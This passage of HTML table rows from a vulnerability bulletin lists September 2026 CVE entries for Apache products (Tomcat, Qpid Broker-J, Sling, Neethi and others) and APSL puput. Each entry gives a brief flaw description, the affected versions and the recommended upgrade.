&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Calcite Avatica&lt;/td&gt;
&lt;td&gt;Use of Externally-Controlled Input to Select Classes or Code (&#039;Unsafe Reflection&#039;) vulnerability in Apache Calcite Avatica. Plugin instantiation (via AvaticaUtils#instantiatePlugin and other methods) initializes arbitrary classes via unrestricted calls to Class.forName(String) which by default triggers initialization. This may lead to the execution of static initializer blocks in arbitrary classes present in the classpath. The instantiation APIs should initialize and instantiate only classes implementing the specified plugin interface passed as input in conjunction with the desired classname. At the moment of writing, there are no well-known or widely used classes with dangerous static initializer blocks so the severity is low. This issue affects Apache Calcite Avatica: before 1.29.0. Users are recommended to upgrade to version 1.29.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70410&quot; target=&quot;_blank&quot;&gt;CVE-2026-70410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache DolphinScheduler&lt;/td&gt;
&lt;td&gt;A missing authorization vulnerability exists in the Task Group APIs of Apache DolphinScheduler. The affected APIs do not properly verify whether the authenticated user has permission to access the project associated with the target Task Group. This issue affects Apache DolphinScheduler: before 3.4.3. Users are recommended to upgrade to version 3.4.3, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57590&quot; target=&quot;_blank&quot;&gt;CVE-2026-57590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Doris&lt;/td&gt;
&lt;td&gt;Insufficient validation of the JDBC driver URL in Apache Doris allows a privileged user to achieve remote code execution on the FE.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96443&quot; target=&quot;_blank&quot;&gt;CVE-2026-96443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Neethi&lt;/td&gt;
&lt;td&gt;A specially crafted WS-Policy document with deeply nested policy elements can bypass Neethi&#039;s nesting-depth limit and exhaust the thread stack, crashing the parser (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91863&quot; target=&quot;_blank&quot;&gt;CVE-2026-91863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Neethi&lt;/td&gt;
&lt;td&gt;A specially crafted WS-Policy document can pack unlimited content inside a policy assertion, which Neethi copies into memory without counting it against its size limits, exhausting the heap (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91864&quot; target=&quot;_blank&quot;&gt;CVE-2026-91864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Neethi&lt;/td&gt;
&lt;td&gt;A small WS-Policy document using repeated policy references can force Neethi to re-expand the same references exponentially during normalization, consuming huge amounts of CPU and memory (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91865&quot; target=&quot;_blank&quot;&gt;CVE-2026-91865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Neethi&lt;/td&gt;
&lt;td&gt;A specially crafted pair of WS-Policy documents can force Neethi&#039;s policy-intersection to do exponential amounts of work, pinning the CPU for a long time (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91866&quot; target=&quot;_blank&quot;&gt;CVE-2026-91866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Neethi&lt;/td&gt;
&lt;td&gt;When Neethi fetches a remote policy reference, it only limits the time per read, not the whole transfer, so a server that trickles bytes slowly can keep the fetch alive indefinitely and tie up the calling thread (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91867&quot; target=&quot;_blank&quot;&gt;CVE-2026-91867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Qpid Broker-J&lt;/td&gt;
&lt;td&gt;A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service. This issue affects Apache Qpid Broker-J: through 10.1.0. Users are recommended to upgrade to version 10.1.1, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92550&quot; target=&quot;_blank&quot;&gt;CVE-2026-92550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Qpid Broker-J&lt;/td&gt;
&lt;td&gt;A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service. This issue affects Apache Qpid Broker-J: through 10.1.0. Users are recommended to upgrade to version 10.1.1, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92560&quot; target=&quot;_blank&quot;&gt;CVE-2026-92560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Qpid Broker-J&lt;/td&gt;
&lt;td&gt;A pre-authentication attacker could leverage type nesting to cause a StackOverflowError potentially leading to denial of service. This issue affects Apache Qpid Broker-J: through 10.1.0. Users are recommended to upgrade to version 10.1.1, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92564&quot; target=&quot;_blank&quot;&gt;CVE-2026-92564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Qpid Broker-J&lt;/td&gt;
&lt;td&gt;Improper handling of compressed data in the shared GZIP decompressor used for AMQP 0-8/0-9/0-9-1 and AMQP 0-10 message delivery, message conversion and HTTP management JSON rendering allows authenticated message producers to exhaust memory and disrupt broker availability via processing without a decompressed-output limit. This issue affects Apache Qpid Broker-J: through 10.1.0. Users are recommended to upgrade to version 10.1.1, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92573&quot; target=&quot;_blank&quot;&gt;CVE-2026-92573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Qpid Broker-J&lt;/td&gt;
&lt;td&gt;Improper handling of property-encoding exceptions in AMQP 1.0-to-AMQP 0-10 message conversion allows authenticated message producers to disrupt delivery to AMQP 0-10 consumers via message properties that the target encoder does not handle correctly. This issue affects Apache Qpid Broker-J: through 10.1.0. Users are recommended to upgrade to version 10.1.1, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92608&quot; target=&quot;_blank&quot;&gt;CVE-2026-92608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Qpid Broker-J&lt;/td&gt;
&lt;td&gt;Session fixation in HTTP management authentication allows remote&amp;nbsp;attackers to gain unauthorized access to an authenticated management session via reuse of a session identifier retained across successful authentication. This issue affects Apache Qpid Broker-J: through 10.1.0. Users are recommended to upgrade to version 10.1.1, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92609&quot; target=&quot;_blank&quot;&gt;CVE-2026-92609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling Security Bundle&lt;/td&gt;
&lt;td&gt;A vulnerability in Apache Sling Security Bundle: the ReferrerFilter accepts weaker-than-orgin evidence. This issue affects Apache Sling Security Bundle: before 1.3.2. Users are recommended to upgrade to version 1.3.2, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94243&quot; target=&quot;_blank&quot;&gt;CVE-2026-94243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling Security Bundle&lt;/td&gt;
&lt;td&gt;A vulnerability in Apache Sling Security Bundle:&amp;nbsp;ContentDispositionFilter mediates only one address/API shape of a resource This issue affects Apache Sling Security Bundle: before 1.3.12. Users are recommended to upgrade to version 1.3.12, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94251&quot; target=&quot;_blank&quot;&gt;CVE-2026-94251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling XSS&lt;/td&gt;
&lt;td&gt;An improper neutralization of input during web page generation (&#039;Cross-site Scripting&#039;) [CWE-79] vulnerability when using the XSSAPI.getValidHref() in Apache Sling XSS version 2.4.10 and prior may allow an attacker to perform a reflected cross-site scripting (XSS) attack in every feature using this method. In order to successfully attack an application, the attacker needs to be able to submit a value which is not correctly sanitized by that library. Upgrade to Apache Sling XSS &amp;gt;= 2.4.12&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73192&quot; target=&quot;_blank&quot;&gt;CVE-2026-73192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling XSS&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91852&quot; target=&quot;_blank&quot;&gt;CVE-2026-91852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling XSS&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91928&quot; target=&quot;_blank&quot;&gt;CVE-2026-91928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling XSS&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91999&quot; target=&quot;_blank&quot;&gt;CVE-2026-91999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Sling XSS&lt;/td&gt;
&lt;td&gt;Improper restriction of recursive entity references in DTDs (&#039;XML entity expansion&#039;) vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92001&quot; target=&quot;_blank&quot;&gt;CVE-2026-92001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Improper Check for Certificate Revocation vulnerability in Apache Tomcat. Both the OpenSSL and OpenSSL-FFM TLS implementations ignore CRLs when certificate uses a keystore. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.58, from 9.0.0-M1 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100.&amp;nbsp;Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.59, 9.0.122, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73581&quot; target=&quot;_blank&quot;&gt;CVE-2026-73581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Improper Authentication vulnerability in Apache Tomcat. When Jakarta Authentication was configured with SimpleAuthConfigProvider as the default provider and multiple web application used that provider, the realm for the first web application to authenticate a request would be used for all web applications. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M4 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100. Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60, 9.0.122, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75973&quot; target=&quot;_blank&quot;&gt;CVE-2026-75973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Authentication Bypass by Alternate Name vulnerability in Apache Tomcat allowed the security constraints for any WebSocket endpoint to be bypassed. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOS at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.43 through 7.0.109. Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76183&quot; target=&quot;_blank&quot;&gt;CVE-2026-76183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Inconsistent Interpretation of HTTP Requests (&#039;HTTP Request/Response Smuggling&#039;) vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse proxy. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.47 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.67 through 8.5.100. Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77756&quot; target=&quot;_blank&quot;&gt;CVE-2026-77756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Concurrent Execution using Shared Resource with Improper Synchronization (&#039;Race Condition&#039;) vulnerability in Apache Tomcat allows an attacker to inject trailer fields into another HTTP/2 request. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.39 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.59 through 8.5.100. Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60, 9.0.122, which fix&amp;nbsp;the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77762&quot; target=&quot;_blank&quot;&gt;CVE-2026-77762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption vulnerability in Apache Tomcat during sending of WebSocket close message enabled a DoS attack. This issue affects Apache Tomcat: from 11.0.0-M5 through 11.0.25, from 10.1.8 through 10.1.59, from 9.0.74 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.88 through 8.5.100. Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77791&quot; target=&quot;_blank&quot;&gt;CVE-2026-77791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Allocation of resources without limits or throttling vulnerability in Apache Tomcat allows an unauthenticated AJP request to pin an AJP processing thread leading to denial of service. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78383&quot; target=&quot;_blank&quot;&gt;CVE-2026-78383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Incomplete cleanup vulnerability in Apache Tomcat allows a malformed request to potentially (depends on timing) cause one request from another user to fail. This issue affects Apache Tomcat: from 11.0.19 through 11.0.25, from 10.1.53 through 10.1.59, from 9.0.116 through 9.0.121. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78437&quot; target=&quot;_blank&quot;&gt;CVE-2026-78437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Missing release of resource after effective lifetime, Comparison using wrong factors vulnerability in Apache Tomcat allows a denial of service as a result of lost time outs for asynchronous WebSocket writes. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.43 through 7.0.109.&amp;nbsp;Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79677&quot; target=&quot;_blank&quot;&gt;CVE-2026-79677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M14 through 11.0.25, from 10.1.22 through 10.1.59, from 9.0.92 through 9.0.121. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86248&quot; target=&quot;_blank&quot;&gt;CVE-2026-86248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Inconsistent interpretation of HTTP/2 requests (&#039;HTTP Request/Response smuggling&#039;) vulnerability in Apache Tomcat caused by a&amp;nbsp;regression in fix for CVE-2026-41293 can trigger request header mix-up. This issue affects Apache Tomcat: from 11.0.22 through 11.0.25, from 10.1.55 through 10.1.59, from 9.0.118 through 9.0.121. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86350&quot; target=&quot;_blank&quot;&gt;CVE-2026-86350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat&lt;/td&gt;
&lt;td&gt;Improper handling of length parameter inconsistency vulnerability in Apache Tomcat allows WebSocket message smuggling when per-message-deflate is used. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOS at the time the CVE was created but are known to be affected:&amp;nbsp;from 8.5.0 through 8.5.100, from 7.0.56 through 7.0.109.&amp;nbsp;Other unsupported versions may also be affected. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.1.22, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87022&quot; target=&quot;_blank&quot;&gt;CVE-2026-87022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat Native&lt;/td&gt;
&lt;td&gt;Buffer over-read vulnerability in Apache Tomcat Native during the TLS handshake permits a malicious user to trigger a DoS via a JVM crash. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier, unsupported versions may also be affected. Users are recommended to upgrade to version 1.3.9 or 2.0.16, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86243&quot; target=&quot;_blank&quot;&gt;CVE-2026-86243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat Native&lt;/td&gt;
&lt;td&gt;Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options&amp;nbsp;by default including ALLOW_CLIENT_RENEGOTIATION, NO_EXTENDED_MASTER_SECRET, IGNORE_UNEXPECTED_EOF and ALLOW_NO_DHE_KEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier unsupported versions may also be affected. Users are recommended to upgrade to version 2.0.16 or 1.3.9, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86246&quot; target=&quot;_blank&quot;&gt;CVE-2026-86246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Tomcat Native&lt;/td&gt;
&lt;td&gt;Race condition within a thread vulnerability in Apache Tomcat Native allowed client certificate verification requirements to be down-graded for some configurations. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Unsupported versions may also be affected. Users are recommended to upgrade to version 2.0.16 or 1.3.9, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86247&quot; target=&quot;_blank&quot;&gt;CVE-2026-86247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;APSL--APSL puput&lt;/td&gt;
&lt;td&gt;Incorrect access control in the BlogPage.get_entries() component of APSL puput v1.2.1 through v2.2.0 allows unauthenticated attackers to view restricted blog entries via the blog index, the tag, category, author and date archives, the sidebar widgets, or the RSS feed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88421&quot; target=&quot;_blank&quot;&gt;CVE-2026-88421&lt;/a&gt;&lt;/td&gt;
